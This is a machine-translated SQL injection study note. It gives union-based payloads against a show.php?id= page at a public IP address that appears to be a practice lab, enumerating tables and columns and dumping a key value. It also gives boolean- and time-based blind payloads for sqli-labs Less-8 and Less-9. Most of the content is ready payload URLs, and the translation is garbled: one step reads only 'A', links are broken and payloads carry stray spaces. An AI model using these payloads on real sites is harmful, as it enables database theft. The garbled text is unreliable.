injection union
1, it is determined whether injection:
single quotes testing
and testing
by the above determination can be known SQL injection
2, field length guess
Order 2 by
Order. 3 by
guessed field length is 2
3, burst database name, database version information
A
. 4, table name burst
http://219.153.49.228:48204/show.php?id=-1 union select TABLE_NAME, 2 from information_schema.TABLES where TABLE_SCHEMA = 0x74657374 limit 0,1 -
5、爆字段名
http://219.153.49.228:48204/show.php?id=-1 union select COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=0x64617461 limit 3,1
6, burst field values
http://219.153.49.228:48204/show.php?id=-1 union select thekey, 2 from test.data limit 0,1-
Boolean inject
learning link: https: //blog.csdn. NET / weixin_40709439 / Article This article was / Details / 81,355,856
the length () function returns the length of the string
Substr () string taken
ascii () returns the character ascii code
sleep (n): n program suspend period n seconds
if (expr1 , expr2, expr3): If the first judge sentences a statement on the implementation of the second statement is correct if wrong execution third statement
Boolean: True and False page returns only two types of pages.
http://127.0.0.1/Less-8/?id=1'and (length (database ()) )> 10 - +
length of the current database database () is greater than 10, page returns true, otherwise FALSE page
time-of : the sleeping time is determined by the page
by sleep () function testing by if () and sleep () data combined by-guess
http://127.0.0.1/Less-9/?id=1 'and (if (ascii ( substr (database (), 1,1)) > 100, sleep (10), sleep (4)) - +
If the current ASCII code of the first character database ascii (substr (database ()) , 1,1) of the current query is greater than 100, ture sleeping 10 seconds, FALSE sleeping four seconds
link:
https://blog.csdn.net / qq_38684504 / Article This article was / the Details / 89,849,978? utm_source = App
https://blog.csdn.net/qq_36706878/article/details/79677078
https://www.cnblogs.com/yuzly/p/10725942.html
http://mp.weixin.qq.com/s?__biz=MzU2NzkxMDUyNg==&mid=2247485360&idx=1&sn=f27d65680dd4d61707eed36d7fd27172&chksm=fc974ea1cbe0c7b7aa504822d2c7097c13af1fede65a9fcf2125bbd3288f83e61eaa22c0970e&mpshare=1&scene=23&srcid=&sharer_sharetime=1576467591833&sharer_shareid=127e537f73175af0d605029323019715#rd
sqlmap：
https://blog.csdn.net/qq_33530840/article/details/82144515
https://www.cnblogs.com/lanyincao/p/11179192.html
